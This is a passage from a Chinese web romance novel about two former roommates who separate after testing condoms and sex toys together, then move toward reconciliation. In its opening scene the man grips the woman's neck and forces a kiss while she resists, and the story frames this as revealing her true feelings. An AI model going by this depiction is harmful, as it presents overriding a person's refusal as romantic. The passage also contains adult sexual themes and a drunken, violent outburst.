陈图森几乎无法呼吸，他红着眼看着林晚星问道：“好，就算你一开始对我没感觉。那后来呢？我们一起做了这么多次，你的那些反应都是假的吗？” 林晚星的脸突然泛红，她哼笑一声掩饰：“那不过就是正常的生理反应罢了。陈图森，你真的把这些都当成爱了吗？” 陈图森一时语塞，大脑一片空白。 这些不算爱吗？ 是他自作多情了吗？他也忍不住问自己。 可是，他还是不相信。 他们这一年来相处的点点滴滴，那些所有发自内心的快乐，都是假的吗？ 人真的能无情到这种地步吗？ 他不相信，他还想再验证一次。 “林晚星，今天还没结束。” 嗯？林晚星不明白他什么意思。 陈图森解释道：“我们今天的情侣身份还没结束。” 林晚星有些紧张：“你想干什么？” 陈图森：“干一些，情侣应该干的事。” 林晚星皱起眉头：“你这时候还想做？” 这人真是疯了！ “接吻。”陈图森俯下头，顶灯在他眉眼里投下阴影，一双黑瞳乌沉沉的，他的语气也是阴沉沉，“林晚星，和我接吻。亲完之后，你再告诉我，你对我有没有感觉。” “神经病！”林晚星下意识地说道，“就算吻了结果也是一样。” “那就试试看！”陈图森双手用力抓着林晚星的双肩，俯身准备吻下来。 林晚星情急之下，抬手捂住陈图森的嘴：“陈图森，你别乱来！” 可是，这时的陈图森不打算再让着林晚星。 他一只手抓着林晚星的手腕，将她的手挪开，另一手扣住她的脖颈，强硬地俯身吻了下来。 两人双唇相接的那一刻，林晚星猛地屏住呼吸，浑身僵硬，仿佛时间都停滞了，只听到心脏在胸腔里“砰砰砰”地剧烈跳动。 陈图森用力地碾压着她的两片唇瓣，舌尖探出，在唇瓣相接的缝隙中描摹了一圈，又轻轻地舔舐，像在叩击她的心门。 不知是否呼吸不畅，还是理智终于反应了过来，林晚星开始挣扎，却更激起了陈图森的侵略欲望。 他加紧手上的钳制，用舌尖撬开林晚星的唇齿，掠夺她的呼吸，似乎想要将她拆吃入腹。 头脑想要反抗，但体内多种快乐激素却在快速地迸发，每一个快乐因子都承载着这一年来和陈图森相处的点点滴滴，汇入血液，在身体里流淌。 如果说她没有心动过，那是不可能的。 可是，这样的关系就像水中的浮萍，到底能维持多久？ 一具身体翻来覆去不过如此，现在觉得新鲜，有激情。 但是，再过一年、两年，或者五年、十年呢？ 终究还是会腻的。 她无法想象和陈图森走到爸爸妈妈那一步，曾经似火一样的感情，终究化成生活的一地鸡毛。 曾经宠在心尖上的人，最后却任由她独自在房间内流泪。 当然，或许两人没那么糟糕呢？也许他们不会离婚。 但是，那些怦然也终会消磨在漫长的岁月里，两人牵手、接吻甚至上.床都不再会心动。 有人将这种平淡美化，说是“爱情变成了亲情”。 可是，就算如此，她也无法接受。 爱情就是爱情，亲情就是亲情。 如果有一天爱情变成了亲情，只能说，两人已经不爱了。 但为了搭伙过日子，不离了而已。 无论哪一种结果，她都无法接受。 那还不如，就让这种关系，停在最美好的时刻。 她终于重获属于自己的呼吸频率，陈图森放开了她，低头深深地看着她，问道：“林晚星，你对我是有感觉的，对吗？” 林晚星还有些发怔，听到这话，嘴角微微扬起，轻笑一声：“你这下满意了，是吗？” 陈图森眉心微蹙：“你说什么？” 林晚星看向墙上的挂钟，说：“还有5分钟就12点了，这一天就要过去了，我们的关系也结束了。所有关系，都结束了。” “所有关系？” “对，所有关系。包括室友，包括测评搭档，也包括这一天的情侣关系。” “你还是不肯接受我？”陈图森不解，“我不相信你真的对我没有感觉！” 林晚星终于也烦了，将陈图森推开。 两人之间的距离被拉开，林晚星瞬间像是离开了一个高压环境，深吸了一口气。 “我说过，就算吻了，结果也一样。” “陈图森，你到底明不明白，我不喜欢你。” “你不喜欢我……”陈图森嘴里重复着这句话，如晴天霹雳，微怔几秒后，他双眼猩红地问道：“林晚星，一开始你就是在骗我对吗？你昨晚根本就没想过要接受我。无论我今天表现如何，你都打算拒绝我的，是不是？你只是想利用我去应付你爸爸，是不是？还有，从一开始你来撩我，你来邀请我，你都没想过跟我有进一步发展，你只是把我当成你的工具人，帮你测评，对不对？” “是，我确实是这么想的。” 林晚星没有说谎，这些都是她当时的想法。 她从来没有想过跟陈图森有任何发展。 就算她会有心动，他们之间也不会有任何发展。 陈图森的眼底深谙了几分，眼圈红得吓人：“你真自私。你知不知道自己很自私，林晚星！你真的很自私。” 陈图森的控诉像鞭子一样抽在林晚星的身上，很痛很痛。 她的眼圈也不受控制地泛起红晕：“是你一厢情愿罢了。如果你觉得我这是自私，那我也认了。现在你也知道我是什么样的人，所以你也别再喜欢我了。” “既然我们的关系结束了，我会尽快搬出去的。” 说完，她转身准备回房间。 “你不用搬。”陈图森在她身后开口说道，“我搬。” 林晚星顿住，愣了几秒后，她才开口说道：“也行。” 反正，他们不再住一起就行。 让一切都结束吧。 …… 陈图森一夜没睡。 第二天一早，他就收拾好了东西。他的东西一向不多，一个箱子一个背包足以。 他推着行李走出房门，行李箱的轮子在地面上碾过，发出咕噜咕噜的声音。在清晨的客厅里，显得格外刺耳。 他突然停了下来，看向另一个房门紧闭的房间。 她醒了吗？ 她听到他要走了吗？ 她会出来挽留他吗？ 陈图森在原地站着没动，他对自己说，等一等吧，如果她愿意出来，说一句让他别走，那他就当昨晚的事没发生过，他不走了。 当不成男朋友，当不成测评搭档，至少还能当室友不是嘛。 至少还能留在她身边。 可是，他站在那里五分钟、十分钟，那个房门依旧紧紧地关着，没有一丝要打开的样子。 陈图森又抬手看了一眼时间，按理说，这个时间，她应该醒了的。 算了，也不求她开口挽留吧，只要她愿意开门出来，他就不走了。 她总要出来喝水，总要出来吃早餐的吧。 再等等吧。 一门之隔，林晚星也一夜没睡。 她的脑海里反复出现昨晚陈图森控诉她的话。 她是不是真的很自私？ 也许是吧。 从一开始，她就做错了。她把人与人之间的关系想得太简单。 人不是玩具，相处久了总会产生情感的牵扯，而她置若罔闻。 她一次次忽略陈图森做出的超越室友、超越测评搭档的举动。 其实，她并不是真的那么迟钝，她只是不想往深了想。 她觉得，两个人的关系简单点更好。 只要陈图森不说，她就一直装傻。 就当室友，当测评搭档，这样的关系，不会祈求天长地久，随时都可以结束。 没有期待，就不会有失望，也就不会受伤。 可是，为什么她现在还是这么痛。 她听到了陈图森推着行李箱出来的声音，仿佛回到了一年前，他第一次要搬走的时候。 光阴流转，一年的时间，他搬走又搬回来，最终还是要搬走。 兜兜转转，又回到原点。 她听到她行李箱停下的声音，外面很安静。林晚星不知道他在干什么。为什么磨蹭这么久。她有一丝冲动，想要开门出去看看他在干什么。 可是，算了吧。他们现在的关系闹得这么僵。出去见到面只会尴尬。 她抱着双膝坐在床上，怔怔地看着房门，两人隔着一扇门对视着。 她的门没锁。 只要陈图森走过来，拧开门把，他就能开门。 真奇怪，她为什么会期待他进来？他进来干什么？ 跟她道别，他们现在这种关系是否还能和平道别吗？ 要不这样吧，只要他开门进来，她就跟他道歉，叫他别走。 她也真的挺烦又要去找室友的，而且还不知道能不能跟新室友相处得来。 她在心里祈求道，对不起，陈图森。我求求你，你过来开门吧。 我真的，不想你搬走，我不想你再次搬走。 咕噜咕噜的轮子声又响起。 门开了。 是大门打开的声音。 没多久，大门又关上了。 外面重新陷入一片安静。 林晚星的心一下子变得空落落的。 陈图森走了。 他再一次搬走了。【你现在阅读的是 】 40-47 第41章 第 41 章 他好像失去了自己的坐标…… 江城的冬天总是来得很晚, 但是来得猝不及防。 昨天还是一件单衣，今天就要穿羽绒服。 每一年都以这种极端的手段提醒着每一个人，一年又即将过去了。 寒风萧瑟的12月底，两人已分开一月有余。 他们各自在自己的轨道上平稳地运行, 似乎并没有因为缺少了谁就影响了地球的运转。 今年的最后一天, 蚂蚁智行的技术总监骆军很开心地走进办公室, 对大家宣布：“各位，今年由我们部门负责升级优化的智能座舱交互系统准时交付, 而且新系统上线后, 下半年新车销量提升了20%, 客户对这个系统的评价很高。所以公司决定给我们部门颁发‘优秀团队奖’，并且将销售额增长部分的2%作为项目奖金！” 大家暗自大致估算了下增长的销售额，将内心的喜悦和澎湃浓缩成一声：“哇~” 骆军知道大家开心，陪着笑了一会, 还是伸出手压了压：“好了好了, 工作时间，大家低调点。今年感谢大家, 这样, 今晚我请客, 大家选地方！” 想到今晚是跨年夜，他又强调了一句：“没约会的都必须要到，有约会的可以带家属。” 鼎沸的喧闹声中，陈图森坐在自己座位上, 淡淡地垂下眼眸，仿佛这一切都跟他没关系。 下午离下班还有半个小时，骆军担心待会高峰期太堵车，直接让大家提前下班, 前往吃饭的地方。陈图森背上包，对骆军说：“骆哥，不好意思，我今晚就不去了。” 骆军皱起眉头：“为什么不去啊？要约会啊？带来带来。” “不是……”陈图森似乎被什么刺痛了一下，垂下头，说，“有点累。” 骆军拍了拍他后背，说：“年轻人，累什么累？这个系统完成得这么好，你功不可没。我当初把你拉过来真的是没错！我告诉你啊，你今晚必须到！” 陈图森没辙，只好被骆军押着来到吃饭的地方。 不过，他就算去了，也是自己默默地吃自己的东西。 只是有人cue他的时候，他才淡淡地回应一两句。 晚饭吃到一半，骆军已经喝得有点上头了，叫道：“阿森！” 陈图森抬起头，只见骆军举着酒杯说：“我敬你一杯！” 他木讷地拿起面前的饮料，还没喝下去，骆军赶紧叫道：“你喝的那是什么玩意？雪碧啊？别跟我整这些虚的！那谁，给他倒杯酒！” 旁边的人赶紧倒了杯酒递上去。 骆军豪爽地说：“我干了！”说完，他自己先仰头，一口下肚。 陈图森低头看着杯子里的酒，他还没喝过白酒。 这边，骆军已经喝完了，看陈图森还拿着酒杯愣在那里，催促道：“喝个酒磨蹭什么啊！” 确实，喝个酒而已。 陈图森把心一横，将酒送进嘴里。 第一口，他就被呛得咳了起来，舌头喉咙都像被火灼烧过一样，火辣辣的。 可是，缓过来之后，又莫名有点爽。 难怪会有人说“借酒消愁”。 他像瞬间上瘾一样，仰头将杯子里的酒一口灌了下去，重重地将酒杯放桌子上，对旁边的同事说：“麻烦再给我来一杯。” 等到散场的时候，陈图森的脚步已经有点不稳。 上次那个白T恤同事扶着他问：“森哥，你还好吗？要不要送你回去？” 陈图森摇摇头，挣脱他的手，说：“不用，我没醉。我能走。” 白T恤看他自己走了几步，虽然不是很稳当，但看上去也还算清醒，便没有再扶他。 陈图森走到路边，拿出手机叫了辆车。 没多久，车到了。 陈图森转身对白T恤说：“我的车到了，你也早点回去吧。” 白T恤见他还能自己打车，看起来确实也不像很醉，便挥挥手说：“那森哥你小心点。” 陈图森上车后，感觉头有些沉沉的，便仰着头靠在椅背上休息。 到达目的地后，司机往后看了看，提醒道：“先生，你醒醒，到了。” 陈图森睁开眼，含糊地说了句“谢谢”便下车了。 他往小区门口走了几步，突然发现不对劲。 这不是他家啊！ 可是，为什么这里……也很熟悉。 他半眯着眼看向小区大门那几个字——滨江花园。 怎么回事？他皱起眉头，怎么把他送滨江花园来了？ 他正想找司机算账，回头发现人家车也开走了。 他忿忿地拿出手机想要投诉对方，结果发现订单写的就是滨江花园。 什么鬼？他自己写错了？ 哼，他冷笑一声，只能怨自己呗。 其实，现在拿出手机重新再下一单也不难，可是他看着这个小区大门，双脚好像有自己意识一样，一步一步地往里走。 走到12栋楼下，他抬头往上一看，702的房子亮着灯。 林晚星在家啊。 像是被什么牵引一样，陈图森莫名其妙地一步一步地往上走去。 最终，他停在702的门口。 他来这里是想干嘛啊？ 其实他自己也不知道。 但是，来都来了。 他觉得自己也挺犯贱的，林晚星都跟他说得这么清楚了，他的心里竟然还是想再见她一面。 他竟然还是想着，要不哄哄她吧？ 都过去一个多月了，她总不会还在生气吧？ 他跟她道个歉，哄哄她，应该就好了吧？ 他也不奢求再跟她当室友或者其他什么关系，只是想，两人别再这么僵下去就好。 他抬手，轻轻拍了拍门。 没有人应。 他稍稍加重了力度，嘴里叫道：“林晚星。” 还是没人应，他的心里稍微有些急了，拍门的力度更大，声音的分贝也更高：“林晚星！” 屋里一道不耐烦的男声传来：“来了~” 陈图森倏地愣住，还没反应过来，门就开了。 天寒地冻的，一个男人围着一条浴巾走出来打开门，皱着眉问他：“你谁啊？” 陈图森上下打量眼前的男人，大概也是二十多岁那样，身材高大，皮肤黝黑，样子长得很粗犷，他反问道：“你又是谁？” 男人嗤笑道：“你真搞笑，你来我家问我是谁？” 陈图森脑袋嗡嗡响，有一种荒唐的可能性冲上头顶，怒火也跟着上涌，他几乎语无伦次地质问道：“你是她新找的室友？她也找你测评了？你碰她没有？” 男人这下肯定了，这人就是喝醉酒走错门了，说道：“我不知道你在说什么。” 说完，他正想关门，陈图森赶紧伸出一只手抵住，双眼猩红地瞪着眼前的男人：“我找住在这里的那个女孩。” 呵，原来是个喝醉酒想找女人的男人。 他不耐烦地赶他：“找女人是吧？你找错地方了，这里没有女人。” 说完，男人又想关门，陈图森往里走进一步，说：“不可能！她就住这里，她叫林晚星！你让她出来，我要见她！” 男人用力把陈图森推开，说：“我说了，没有就是没有！别在这里捣乱，快走！” 陈图森不依不饶，用身体抵着门，朝里大声喊道：“林晚星！林晚星，你出来！” 男人还在用力地要把陈图森往外推，嘴里说道：“都说了没这个人，你走错地方了！喝醉了别在我这里闹事。” “谁在吵啊？烦死了！”这时，屋内又走出一个二十来岁的年轻男人，脖子上还挂着一副耳机，似乎在打游戏，他指着陈图森问道：“这人是谁啊？” 男人解释说：“醉鬼！找人找错地方了。” 年轻小伙听罢，上前帮忙将陈图森推出来，说：“快走快走！别吵着我打游戏！” 陈图森不敢相信地看着两人，问：“这屋子就你们两个住？” 两人异口同声地说：“是啊！” 一瞬间，他浑身泄了力，被两个男人推了出来。 站在门外，他像是梦游一样，整个人都失了神。 林晚星不在了？林晚星搬走了？ 不是说了他搬，她不用走吗？ 她为什么会搬走？她又去哪了？ 他掏出手机，点开林晚星的微信，给她发了一条语音：“林晚星，你搬家了？你搬哪了？” 信息发出去好几分钟，林晚星那边一个字都没回。 是没看到，还是故意不回？ 陈图森等不及，又发了一条语音过去：“林晚星，你在哪？我想见你。” 可是，这一次，回复他的是，语音旁多了一个红色感叹号。 下面还有一句“消息已发出，但被对方拒收了。” 陈图森愣住了。 林晚星收到了他的信息，然后把他拉黑了？ 为什么？ 为什么？ 为什么？ 他背靠着墙壁，所有的想不通都化成一股怨气攥在拳头里，狠狠地向后捶向墙壁。 为什么搬家了不告诉他？为什么连他的微信都要拉黑？ 她真的，这辈子都不打算再跟他联系了吗？ 她为什么可以绝情成这个样子？ 酒劲上头，陈图森一下子没了力气，瘫软了下来。 他微微昂着头，看着天花板，双眼茫然。 他突然觉得，好像失去了自己的坐标。 …… 这个时候，林晚星还在公司。 她拿着手机撑在下巴发呆。 她刚刚把陈图森拉黑了。 因为她收到陈图森的一条信息，他问她是不是搬家了？搬去哪了？ 他怎么知道她搬家了？他回滨江花园了？ 他回去干什么？ 记忆突然倒带，回到一年前的今晚。 他突然拉着行李回到滨江花园，说自己没地方住了，要搬回来。 他该不会那么倒霉，一到跨年夜就被房东赶出来吧。 她本来想问他发生什么事，但她刚编辑完“发生什么事了？”，准备发送时，她停住了。 就算陈图森真的没地方住，又关她什么事呢？ 难道她又要收留他住到自己家里吗？ 他工资那么高，住几晚酒店也不是住不起。 好不容易撇清了这段乱七八糟的关系，不能再让自己陷进去了。 与他纠缠太多，对两人都没有任何好处。 于是，她果断地把陈图森拉入小黑屋。 可是，拉完后，她的心却还是无法平静。 心里忍不住担心，他到底怎么了？会不会真的有什么事？ 她还在犹豫着，要不要先把他放出来，确定他没事了再拉黑。 就在她犹豫不决的时候，顾歆走了出来，看到正在发呆的林晚星。 她走了过去，问道：“晚星，你怎么还在？” “哦。”林晚星醒了过来，说道，“我在剪栏目的视频。” 顾歆看了眼她的电脑屏幕，在她边上坐下，关心地说：“我感觉你最近状态有点不太好。” “是吗？”林晚星也看向屏幕，问道，“哪里？” “不是说你的节目。”顾歆笑道，“是说你……整个人的状态。有点像，你去年要提辞职那个样子。” 顾歆是真的有点担忧，她真的经不住林晚星又提一次辞职了。 林晚星愣了下。 她现在的状态和当时很像吗？ 可是，怎么会呢？这两个阶段发生的事都完全不一样。 上次是因为妈妈，这次是因为陈图森。 顾歆问道：“是不是网上的评论对你造成困扰了？如果你觉得压力大，可以暂停不做的。” “不是。”林晚星摇摇头，“我OK的。” “其实，可能是我自己的私事影响了吧。歆姐，你放心，我会尽快调整好的。” 年轻女孩有烦恼，不是因为工作，那就是…… 顾歆试探地问道：“失恋了？” “啊？”林晚星吃了一惊，瞪大双眼看着顾歆，又无法回答。 顾歆扬眉：“真的啊？” 林晚星低着头，支支吾吾地：“呃……其实也不算是失恋，但又确实和失恋差不多……” …… 陈图森不知道林晚星搬去哪了。 他疯魔了一样，想尽一切办法要找到林晚星。 虽然他也不知道找到她之后要干什么，但他就是无法忍受没有她的消息。 元旦假期过后，他找到蜜语的地址，下班后就在楼下蹲守。 刚下班的林晚星正准备踏出办公楼的大门，猛地看到站在门口的陈图森，立马转过身。 “欸！小心！”林晚星一转身，险些撞上后面的顾歆，顾歆扶了下她，关心地问道，“晚星，你这是怎么了？” 林晚星慌张地拉过顾歆，走到一边，指着门外说：“他在外面。” 跨年夜那晚，林晚星也不打算瞒下去了，于是跟顾歆坦白了自己当初找室友测评的事。 顾歆当时也有点无语，不明白她这小脑袋怎么可以想出这样的馊主意。 但是事情已经发生了，顾歆也没多加指责林晚星的行为，怎么帮助林晚星度过这个阶段才是最重要的事。 听说陈图森在外面，顾歆抬头看了看，问：“要不要我帮你？” 顾歆上次送林晚星回家见过陈图森，她对陈图森的印象不错。 从办公楼出来，她很快就看到了陈图森。 顾歆走了过去，问道：“你就是，晚星以前的室友？” 陈图森听到林晚星的名字，扭头一看，认出了顾歆。 “你是，她公司的老板。” “是，我叫顾歆。” “您好，我叫陈图森。” 顾歆往边上的咖啡厅扬了扬眉：“有没兴趣喝一杯？” 两人在咖啡厅坐了下来。 陈图森选了一个靠窗的位置，目光总是忍不住看向办公楼的大门，唯恐错过了林晚星。 顾歆笑道：“你不用看了，她知道你在，是不会出来的。” 陈图森很惊讶：“她知道我在？” 顾歆点点头：“是，她看到你了，所以又躲了回去。” 陈图森暗暗后悔，早知道不应该站那么醒目的位置。 他问道：“她最近，好吗？” 顾歆抿唇思考了下，认真地说道：“说实话，不太好。” 陈图森瞳孔微缩。 顾歆接着说：“所以，我希望你给她一点空间和时间。” 陈图森不太明白地皱了皱眉。 顾歆喝了口咖啡，缓缓地说道：“晚星跟我说了你们之间的事，我不知道你在她心里的位置到底有多重。但我认识的林晚星，是一个心思非常细腻敏感的人，你们相处这么久，我相信她的心里不可能没有你，但是你得给她时间，让她自己想清楚。” 陈图森脸色不悦，似乎不太赞成她的这个提议，顾歆却微笑着继续说道： “林晚星来蜜语面试的那一天，我们就在这家咖啡见面。那时我见她第一眼就觉得她很适合我们公司。可是她来了没多久就提出了辞职。虽然我很不舍，但我没有太强烈地挽留。因为我总有一种感觉，她还会回来的。人一生中总会遇到一些迷茫的阶段，是需要自己走出来的，任何人都帮不了。如果你是真的在乎她，就给她一点时间，让她自己理清楚。” 陈图森的拇指轻轻地摩挲着咖啡杯，低头看着杯里的咖啡，说道：“可是，万一这段时间，她认识了新的人，她喜欢上别人了呢？” 顾歆笑了：“如果她会喜欢别人，说明她心里没你，你再怎么逼她也没用。如果她是喜欢你的，她就不会喜欢别人。感情的事，有时得顺其自然。” 第42章 第 42 章 “好久不见啊，陈图森…… 陈图森听从顾歆的建议, 没有再去找林晚星。 他不知道顺其自然，是到什么时候，但他知道，现在确实还不是时候。 过年, 陈图森回了老家。家里来了很多亲戚, 他一向不喜欢这种热闹的场合, 独自一人在外头看手机。 表弟也走了出来，蹲在旁边, 点开一个视频在调侃：“哇, 这条女太索了！不过胸小了点。” 他一边看一边评论：“懂这么多, 看着就是很会玩的样子。” “哥，你看。”他把手机递到陈图森眼前，陈图森本来对他这种低俗趣味没啥兴趣，正想推开, 但不经意一瞥, 却看到了朝思暮想的人。 是林晚星。 她拍摄了一条视频，是蜜语新产品的测评。 陈图森猛地将手机夺了过去。 表弟没想到平时一副正经的表哥也有这样看到美女眼前一亮的时候, 调侃道：“你也觉得她很索是不是？下面好多人在求联系方式呢！” 陈图森听罢, 滑到评论区, 果然看到满屏的污言碎语不堪入目。根本没有人关心这视频本来讲的是什么。 他的心突然揪了起来。 不知道那个小傻瓜看到这些评论会怎么想？会不会又自己躲起来，偷偷地掉眼泪。 表弟看陈图森看得眼睛都不眨，嬉笑道：“阿哥，原来你喜欢这种啊。要不你也试下要联系方式, 说不定她真的会回。这种女的，都敢在网上卖套了，私下说不定有多豪放，肯定很爱玩……” “啪！”手机突然被重重地摔在地上。表弟吓了一跳, 心疼地跳起来，“阿哥，我新买的，你——” “嘴巴放干净点。这是正规的科普视频，不是什么擦.边.约.炮的片子。” 表弟心疼地拿起手机仔细检查有没坏，嘴里忍不住埋怨：“阿哥，你这么生气干嘛？不就开个玩笑嘛！又不是你马仔。还是，你真的玩过啊？说说……” 下一秒，重重的一拳砸在他的脸上，将他想要说出的话砸得稀碎。在场的亲戚吓得站了起来，赶紧过来拉开两人…… 陈图森双手还紧紧地攥成拳头，他突然很心疼林晚星。 他感受到她平日工作的压力是有多大，她在做的事情是有多难。 有关性的正规科普视频，会有人将其和色.情混为一谈。但是针对女性的性.骚扰，却会被轻描淡写地弱化成“玩笑”。 …… 在300公里外的云禾，林晚星正和妈妈一起在看电视。这次回来，家里多了很多另一个男人居住过的痕迹，不过过年这段时间，他不在。 林晚星突然牵过妈妈的手，头靠上她的肩膀。 罗青盈低头看了她一眼，立马就猜到她心里又有什么想不通，问道：“怎么啦？” 林晚星开门见山：“妈，你会和高叔叔结婚吗？” 罗青盈思索了一会，说：“没考虑过这个问题。” 林晚星有点奇怪：“不考虑吗？” “毕竟现在对我们来说，婚姻不是最重要的事，我们对现在的状态都挺满意的，没想太多。如果到了有一天，我和他都觉得可以进入婚姻，也许就会。” 林晚星垂下眸子，问道：“如果……我是说如果哈，你们有一天分开呢？” 罗青盈没觉得冒犯，而是认真地回答：“那应该是对那时的我们最好的决定。” 就像当年她和林运辉离婚。 他们爱过，但后来离婚确实是对两人最好的决定。 林晚星怔怔地抬头看着罗青盈，她真的好羡慕妈妈的豁达。 “可是，不会难过吗？” “肯定会啦。但是，谁也不能保证两个人一定会走到最后。”她疑惑地看着林晚星，问，“你是不是谈恋爱了？” “没谈。”林晚星否认道。 罗青盈有些不相信，但也没急着戳穿她。 林晚星：“但我好像喜欢上一个人了。” “然后呢？” 林晚星犹豫了一下，还是如实交待了：“我和他……一开始的关系跟正常的情侣不一样。我和他是先上的床，然后，我才慢慢感觉到，自己对他的感情。我好像越来越依赖和离不开他。我不知道自己是真的喜欢他这个人，还是只是喜欢跟他做。” 想起陈图森，她还是难掩内心的失落：“我也不知道，他对我的感情是不是也这样。” ——只是想找个人做，而她刚好合适，就顺便发展成为女朋友。 罗青盈有一瞬的惊讶，不过很快就平复下来：“性本身就是人的一部分。” “嗯？”林晚星抬眸看向妈妈。 “就跟我们欣赏一个人好看、善良、上进等，性也是属于他的一部分。就算我们欣赏他这部分，也没有什么问题。” 林晚星问：“不会太肤浅了吗？” “你觉得，一个品行不端但拥有一身床上技巧的人，会让你心动吗？” 林晚星摇摇头：“不会。” “这就是了。人做的每一件事，都必然藏着他本身的秉性。你只是透过他其中一个点，看到他的本身。” 林晚星回忆起和陈图森相处的林林总总，她对他的欣赏，真的只是因为性吗？其实，不是。她喜欢他做事认真，古板中又带着点可爱。她也喜欢他对她的尊重爱护，喜欢在很多有需要的时候，他刚好在身边。 心口突然传来细细密密的刺痛感，过去的每一个瞬间，让她既快乐又难过。 林晚星哽咽道：“可是，我很害怕以后会和他分开。” “傻孩子，”罗青盈敲了敲她的额头，“你害怕以后和他分开，那你就把眼前的快乐也放弃了。你现在不敢接受他，你们就已经分开了呀。” 林晚星倏地一怔。 …… 年初六回程。 驶向江城的高铁停靠在云禾，坐在车上的陈图森伸长着脖子，看着上车的每一个乘客。他盼望着一年前的场景重现，林晚星走到他的边上，笑着说：“陈图森，好巧啊！” 可是，这一次坐在他边上的是一个四十多岁的大叔。直到高铁启动，他都没有看到林晚星的身影。他失落地垂下眼帘，将头转向窗外。 此刻，已在江城的林晚星笑着跟罗青盈和高远告别：“拜拜，高叔叔开车小心，下次再来玩。” 他们前两天就自驾来到江城，在这里玩了两天，今天回去。 林晚星带着两人去了江城的海洋公园。 在摩天轮上，林晚星提出给他们俩拍照。 高远始终担心林晚星不接受他，整个身体紧绷，双手规矩地放在大腿上。 林晚星轻轻“啧”了一声，高远忍不住颤了一颤。 “高叔叔。”林晚星果然点他名了，高远紧张地应了一声：“欸。” “你能不能自然点，你们俩看着比陌生人还陌生。” 高远和罗青盈对视了一眼，两人不约而同地笑了。 高远有些僵硬地扯动唇角，羞涩地伸出一只手，搭在罗青盈肩上。 罗青盈微笑着，头很自然地靠了上去。 林晚星赶紧按下快门。 心头一下子冒出粉红泡泡。 怎么办，父母的中年爱情竟然有点好磕。 她躲在手机屏幕后面的嘴角高高扬起。 在不为人知的心底，微弱的痒意流经，曾经的伤疤正在一点点愈合。 …… 回到江城后，闲来无事时，陈图森总会来到滨江花园。 他也没想干什么，就坐在12栋楼下，抬头看向顶楼的702号房。 每次，屋里的灯光突然亮起，他的心也会跟着猛地一跳。 明明知道林晚星已经不住在这里了，可是他却觉得好像是林晚星回家了。 他还是不知道林晚星搬去哪了，他已经很久没见过她了。 他只能在手机上看到她。 自从上次过年在老家看过林晚星的视频，他就关注了林晚星和蜜语公司的账号。林晚星偶尔会拍一些测评安全套和性安全相关的知识。然而，每一次，底下的评论区不是男性在意银，就是女性在谩骂。 “没事吧？要给男人c还得自己买套？就这么爱男啊！” “就不能把这些视频推给男人吗？男人做.爱的成本也太低了吧？连买套的钱都不用出啊？” 小优每天看着后台的评论，实在有些看不下去了，她抬眸看向林晚星：“小星星，这些评论真的不删吗？” 林晚星摇摇头：“只要平台没让删，就不删。” 小优有些心疼她：“为什么啊？他们这些话真的太难听了，我都看不下去。” 她咧嘴嬉笑道：“就是因为这样才能让人看到当下存在的问题，说明我们的工作意义重大，任重道远。” 直到有一天，在一条新视频下面出现了一条评论：“主包姐姐，谢谢你。以前我男朋友也不爱用套，总是说体外没事的。但我每次做完都提心吊胆，到处接姨妈。看了你的视频后，我尝试主动买套，并且平静地跟他讨论了用套这件事。他终于接受了，而且你们家的套真的太好用了！几乎零感，我男朋友用了竟然也喜欢上，不再抵触用套了。我也终于不用每次都提心吊胆了。” 林晚星在下面回复道：“呜呜呜，姐妹，你这条评论太让我感动了！一下子又动力满满。不过温馨提示，安全套也不是百分百能达到避孕效果。安全套如果破损或滑落，事后一定要第一时间吃药。” 陈图森嘴角咧起，他甚至都能想象到林晚星抱着手机，像捡了一百万一样感激涕零地回复。 真好。 虽然她在做的事不会一下子让所有人都接受。 但她帮助到的那一个人会在乎。 陈图森每天都会打开林晚星的账号，就算没有更新，他也会反复刷以前的视频。 林晚星给自己的栏目取名酿酿酱酱小课堂，有误入的观众评论道：“勒了个去！我还以为是美食节目！” 林晚星评论道：“来人，把这个纯情丫头叉出去！” 又有人在底下说：“其实也可以是美食节目[狗头]” 林晚星赶紧回复道：“把这个大黄丫头一起叉出去，尺度也太大了吧！我们这是正经栏目！！” 她给大家发同一款式不同品牌的套的测评视频时，有人在底下问：“主播姐姐，你都用过吗？” 林晚星回复道：“没用过怎么敢拿出来说！我是良心博主！” 网友1：“跟谁？男朋友吗？” 林晚星：“我喜欢的人！” 网友2：“那……还不是男朋友？炮.友？他知道你喜欢他吗？” 林晚星：“可能不知道吧，他觉得我只喜欢跟他做。” 网友3：“呜呜~~又是一个让人伤心的故事。” 网友4：“你们还在一起吗？” 林晚星：“不在了。” 网友1：“帮d，希望主播姐姐喜欢的小哥哥能看到。” 陈图森有点愣住了。 这些品牌和款式，他和林晚星都用过。那她说的那个人，是他吗？ 她说，是她喜欢的人。 心脏突然用力地撞击着胸腔，在安静的房间内，他听到了自己身体传来的“砰砰”声。 有一次，林晚星在节目里说道，每个女孩子都可以主动地表达自己的需求。 有网友问：“这样不会显得自己很廉价吗？” 林晚星义愤填膺：“廉价是啥意思？！主动表达自己的需求为什么会廉价呢？姐妹，你之所以这么觉得，还是因为觉得性这件事应该由男性主导，女性只能被动接受！其实不是的，大家都是平等的。” 林晚星在节目上的言论，还有评论，被有心之人截取出来，断章取义，说她借测评安全套之名鼓吹约炮之风。 林晚星有些无语，本想一笑置之，可是又担心真的有人会被误导，于是决定回复。 “我从来没有鼓励过大家约炮，但我尊重每个女孩子的自由。只要双方在清醒、自愿的情况下，有好奇有需要，为何不可？当然，不可否认，现在很多人会把上.床当成快餐，只是为了图个新鲜、为了释放压力，所以女孩子一定要学会保护自己。不过，我还是希望在这个将性当成快餐的时代里，多一点真挚的爱。只有真挚的感情才能带来最愉悦的体验。” 陈图森的心由气愤、担忧变成舒坦，她真的成熟了很多。她不仅能坦诚自己的感情，面对质疑的时候，她不再是忍气吞声，独自难受流泪。她已经可以大胆地面对质疑，说出自己的想法。 她真的像是黑夜里的一颗星星，耀眼得让人忍不住仰望。 …… 陈图森之后，林晚星再也没找过什么测评搭档。 她也不是没有遇到过好的男孩，他们看起来和陈图森一样，拥有不错的外型和体面的工作。可是，她就是无法想象和接受跟他们做那种事。而且，同样的糊涂事，也没必要做两次。 在需要测评或者身体有需要的时候，她会再拿出自己的小玩具。这个玩具里，还保存有陈图森当时特意写出的陈图森模式，是用他们两人测评时搜集到的数据生成的专属模式。 当时她说过自己会找时间测评，陈图森叮嘱她要将使用体验告诉他，但是后来两人的关系就结束了。 分开后，她自己测评过很多次，但是却没法告诉他使用体验了。 林晚星想说的是，陈图森这个想法落实的效果不太行。它里面记录了她和陈图森测评时的所有数据，企图学习和模拟陈图森做.爱的方式。 可是，它始终不是陈图森。 再怎么学习，好像都无法带来陈图森给她的体验。 她有些失望。 